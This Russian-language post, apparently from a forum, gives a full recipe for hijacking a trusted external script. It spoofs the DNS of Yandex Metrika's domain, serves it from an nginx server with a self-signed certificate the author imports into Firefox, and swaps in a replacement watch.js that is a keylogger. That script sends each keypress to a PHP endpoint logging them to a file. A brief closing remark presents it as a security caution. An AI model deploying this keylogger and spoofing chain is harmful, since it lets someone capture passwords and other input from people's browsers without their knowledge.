Итак, допустим, перед вами возникла задача заменить какой-то ресурс чужого сайта. Цели сугубо технические, в моем случае это было тестирование доступности данных в личном кабинете для сторонних скриптов. Я для теста выбрал watch.js от Метрики.
Для начала необходимо заспуфить DNS.
Прописал себе в unbound
Цитата: local-data: "mc.yandex.ru IN A 77.37.240.57"
соответственно, mc.yandex.ru стал вести ко мне на сервер.
В nginx сделал секцию, чтобы вебсервер признавал этот домен
Цитата: server {
listen 443 ssl http2;
expires -1;
server_name mc.yandex.ru;
root /mnt/q;
location ~ \.php$ {
fastcgi_pass unix:/var/run/fcgi-php.sock;
}
ssl_certificate /mnt/q/server.cert;
ssl_certificate_key /mnt/q/server.key;
ssl_trusted_certificate /mnt/q/server.cert;
}
сегенерировал сертификаты в этой директории
Код:
#!/bin/bash
openssl genrsa -out server.key 1024
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 700 -in server.csr -signkey server.key -out server.cert
server.cert импортнул в Firefox, а в /mnt/q/metrika создал файлики
pp.php
Код:
<?php
header("Access-Control-Allow-Origin: *");
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");
file_put_contents('/mnt/q/metrika/keys.log',$_GET['k'],FILE_APPEND);
?>
и watch.js
Код:
var ops;
var http;
if (!ops){$(document).keypress(function(e){
http.open("GET","https://mc.yandex.ru/metrika/pp.php?k="+encodeURI(String.fromCharCode(e.which)), true );
http.send();
});
ops=true;
http=new XMLHttpRequest();
}
вот, вроде бы и все...
Суть происходящего в следующем. Какой бы защищенный сайт не был, если он включает внешний ресурс, то браузер пользователя можно обмануть и сказать, что сервер с ресурсом находится в другом месте (спуф DNS), что он доверенный (подкладывание сертификата), и далее, собственно, можно отдать любой скрипт (мой вариант отсылал мне все нажатия клавиш на странице). Обратите внимание, что подложить сертификат вам может любой, кто имеет доступ к вашему браузеру (совсем необязательно админские права). А уж вирус с админскими правами или админ домена, например, могут и заспуфить домен через hosts или общий сервер, и сертификат в систему воткнуть... Настаивать на том, что это страшная дыра не буду, но при планировании ресурса надо о такой возможности помнить.